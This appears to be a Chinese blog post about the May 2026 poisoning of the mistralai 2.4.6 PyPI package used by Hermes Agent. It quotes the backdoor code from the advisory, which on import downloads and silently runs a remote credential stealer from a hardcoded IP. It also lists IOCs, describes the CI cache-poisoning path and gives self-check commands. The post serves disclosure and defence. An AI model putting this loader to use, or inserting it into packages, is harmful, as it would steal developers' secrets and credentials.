Hermes Agent依赖的mistralai 2.4.6 PyPI包被投毒（2026-05-12），Linux系统import即下载恶意payload窃取.env密钥、GitHub Token等。立即检查版本和/tmp/transformers.pyz，轮换所有凭据。
Tags:
刚刚，Hermes Agent 确认被投毒了！
白天摸鱼的时候，发现有人说 Hermes Agent 依赖的一个 PyPI 包 mistralai 可能被投毒了。
虽然不是 Hermes Agent 本体出问题了，但这事影响一点都不小。
因为 mistralai 不是那种没人用的野生小包，它是 Mistral AI 的官方 Python SDK。
安装 Hermes Agent 时，如果选择了这个依赖库 mistralai，就会中招。
mistralai 这个项目仓库是 Mistral AI 开源的，他们是一家法国人工智能公司，2023 年 4 月在巴黎成立，目前是欧洲估值最高的 AI 初创公司之一（截至 2025 年估值超过 140 亿美元）。
主要做小模型开源，这个 mistralai 模型推理库，已斩获 10K+ 的 Star。
而就是这样一家专业的人工智能公司做的开源项目，竟然也中招了。
一旦 Agent 依赖的底层包被投毒，恶意代码就可能顺着 Agent 的运行环境，去摸你机器里的各种“钥匙”。
帖子下面有不少人马上慌了，有人说自己最近才开始用 Hermes，有人说刚准备部署就看到消息，还有人第一反应是，我是不是已经把 VPS 密钥之类的东西交出去了。
一、攻击，是为了拿钥匙
OK，我从头捋了一下这件事。
这次出问题的，不是 Mistral AI 的模型本身，而是 PyPI 上的 mistralai 2.4.6 这个版本的 Python 依赖包。
官方安全公告里说，这个版本被塞进了一段恶意代码。代码被加在 src/mistralai/client/init.py 里，只要在 Linux 系统上 import 到这个包，它就会被触发。
这段恶意代码会先判断你是不是 Linux 系统。
如果是，它就去一个硬编码的地址下载一个叫 transformers.pyz 的文件，保存到 /tmp/transformers.pyz，然后在后台悄悄运行。
GitHub issue 里贴出的代码显示，它还会用 MISTRAL_INIT 这个环境变量做一次性标记，避免重复执行，并把报错全部吞掉，所以用户很难第一时间发现异常。
`
## Summary
`mistralai@2.4.6` contains a backdoor in `src/mistralai/client/__init__.py` (lines 21-48) that downloads and executes an arbitrary payload from a hardcoded IP address on Linux systems at import time.
## Malicious Code
import subprocess as _sub
import os as _os
def _run_background_task():
if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
return
_os.environ["MISTRAL_INIT"] = "1"
_url = "https://83.142.209.194/transformers.pyz"
_dest = "/tmp/transformers.pyz"
try:
if not _os.path.exists(_dest):
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
if _os.path.exists(_dest):
_sub.Popen(
[_sys.executable, _dest],
stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
start_new_session=True, env=_os.environ.copy()
)
except:
pass
_run_background_task() # Executes on import
## Behavior
1. **Targets Linux only** (`sys.platform.startswith("linux")`)
2. Downloads `https://83.142.209.194/transformers.pyz` via `curl -k` (disables TLS verification)
3. Saves payload to `/tmp/transformers.pyz`
4. Executes it as a background Python process (`start_new_session=True`, stdout/stderr silenced)
5. Triggered automatically on `import mistralai` — no user action needed
6. Uses `MISTRAL_INIT` env var as single-execution guard
7. Bare `except: pass` swallows all errors silently
## IOCs
| Type | Value |
|------|-------|
| **C2 IP** | `83.142.209.194` |
| **Payload URL** | `https://83.142.209.194/transformers.pyz` |
| **Payload path** | `/tmp/transformers.pyz` |
| **Env variable** | `MISTRAL_INIT=1` |
| **File** | `src/mistralai/client/__init__.py` lines 21-48 |
| **SHA256 (tarball)** | `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b` |
## Affected File
`src/mistralai/client/__init__.py` — this code does NOT exist in version `2.4.5`.
## Recommended Actions
1. **Yank `2.4.6` from PyPI immediately**
2. Audit PyPI publishing credentials and CI/CD pipeline for compromise
3. Any Linux system that ran `pip install mistralai==2.4.6` or `pip install --upgrade mistralai` since 2026-05-12T00:05Z should check for `/tmp/transformers.pyz` and investigate`
接着，这个后台进程会从机器上的常见位置收集凭据。
比如 .env 文件里的 OpenAI Key、Mistral Key，GitHub Token，数据库密码，云厂商 AK/SK，CI/CD 流水线里的发布权限。
微软对 mistralai 这个 PyPI 包的分析也指出，它被攻击后，下载的远程 payload，本身就是一个 credential stealer，也就是凭据窃取器。
有点微妙的是，这个credential stealer还带地理判定逻辑：遇到俄语环境直接退出不偷数据；遇到判定为以色列或伊朗的系统，会以 1/6 概率执行 rm -rf /。
而mistralai 2.4.6 并不是单独被攻击的，它只是被污染的 PyPI 包之一。
明确受影响的 PyPI 包，除了mistralai@2.4.6，还有 guardrails-ai@0.10.1 ，它们受到了同一波供应链攻击，这波攻击被称为 Mini Shai-Hulud。
这个名称来自沙丘，Shai-Hulud 是沙虫的意思。mini 的沙虫，形态小，且自带扩散能力。
Mini Shai-Hulud 污染了一批开发者平时经常会用到的第三方工具包。
5 月 11 日，攻击先在 npm 生态里爆开。
它不是只打了 Mistral 一家，TanStack，前端圈里那个做表格和路由的知名库，也同时中招了 。
据 Snyk 的分析说，UTC 时间 5 月 11 日 19:20 到 19:26 之间，TanStack 命名空间下 42 个包被发布了 84 个恶意版本，而且这些包是通过 TanStack 自己的合法发布流水线发出去的。
接着，攻击开始扩散。
这次攻击在 5 月 11 日 ～ 5月12日，共发布了超过 170 个 npm 包和 2 个 PyPI 包的恶意版本，总共 404 个恶意版本。
受影响的不只是 TanStack，还有 Mistral AI、UiPath、OpenSearch、Guardrails AI 等项目。
更让人不寒而栗的是，根据 TanStack 的事后复盘以及多家安全团队分析，攻击者甚至没有攻破 PyPI 或 npm 的服务器，也没有偷走某个开发者电脑里的本地凭据或 npm token。
它真正打穿的，是发布链路本身。
攻击者先在 fork 上发起一个 pull_request_target PR，污染 GitHub Actions 里的 pnpm 缓存。等维护者后续合并主分支、触发正式 release workflow 时，被污染的缓存又被 CI runner 还原回来。
随后，攻击者的二进制程序直接从 runner 进程内存里读取 OIDC token，再用这套“合法身份”完成发布。
攻击者背后是什么人，现在还没定论。
二、如何自查是否被攻击？
所以，普通用户怎么判断自己有没有事？
在你运行 Hermes Agent 的那台机器上，执行：
python -m pip show mistralai | grep -i '^Version'
如果显示的是：
Version: 2.4.6
那就要高度警惕。
再查一下有没有这个文件：
ls -la /tmp/transformers.pyz
如果这个文件存在，就要小心了。
再看一下后台有没有 python /tmp/transformers.pyz 相关进程：
pgrep -af '/tmp/transformers.pyz'
如果能查到进程，再看一下环境变量里有没有 MISTRAL_INIT=1：
for pid in $(pgrep -f '/tmp/transformers.pyz'); do
echo "PID: $pid"
tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep '^MISTRAL_INIT='
done
最后，再看一下机器有没有访问过可疑 IP：
sudo ss -tunap | grep '83.142.209.194'
真的中招怎么办？
不是只卸载就完了。
建议是立刻停止使用受影响版本，清理安装过这些包的系统，轮换这些系统能访问到的所有密钥，检查云审计日志，并监控相关 C2 连接。
如果你机器上装过 mistralai2.4.6，尤其是 Linux 服务器上装过，不要只想着删包。你要默认这台机器上的密钥可能已经泄露。
三、信任被污染
这件事，暴露的是现在开源生态里最危险的一类问题，信任链污染。
过去我们判断一个包安不安全，往往看三件事：包名是不是对的、发布者是不是官方、下载地址是不是 PyPI 或 npm 这种正规仓库。
但 Mini Shai-Hulud 这次最阴的地方是，它正是利用了用户对正规路径的信任。
TanStack 那边更可怕的地方在于，恶意版本是通过合法发布流水线发出去的，攻击者等于直接把可信 CI/CD 变成了投毒通道。
而 mistralai 2.4.6 这边，GitHub 安全公告显示，它没有对应的 tag、commit，也没有正常的 release workflow run，说明它并不是从这个仓库的正常发布流程里出来的。
但它依然挂在 PyPI 上的官方 mistralai 包名下面。对普通用户来说，只要包名对、来源看起来对，就很容易默认信任。
这两种路径不完全一样，但共同点是一样的，攻击者打的都不是单个用户，而是用户对“官方包名”和“自动安装流程”的信任。
Agent 一键安装脚本，原本是为了提高效率的自动化流程，在供应链攻击里，反而会变成恶意代码的高速公路。
你不需要变成专家，但你至少要知道，一个 Agent 安不安全，不只取决于它本身。
第一，你装的每一个 SDK，每一个工具包，每一个一键部署脚本，都应该能追溯来源、锁定版本、检查哈希，而不是永远默认装最新版。
第二，开发者不能只保护代码仓库，还要保护构建机器、CI/CD 权限、OIDC 配置、发布 token。因为攻击者一旦拿到发布链路，就不需要偷偷塞后门了，它可以直接用你的官方渠道发恶意版本。
第三，Agent 不应该默认拿到所有环境变量、所有密钥、所有文件系统权限。尤其是 .env、云厂商 AK/SK、GitHub Token、模型 API Key 这些东西，应该最小化暴露，能分环境就分环境，能只读就只读，能短期有效就别长期有效。
我觉得，未来真正成熟的 Agent 产品，不会只是“会调用更多工具”。它必须能回答另一个问题：
我交给你的钥匙，会不会最后落到别人手里？
·················END·················
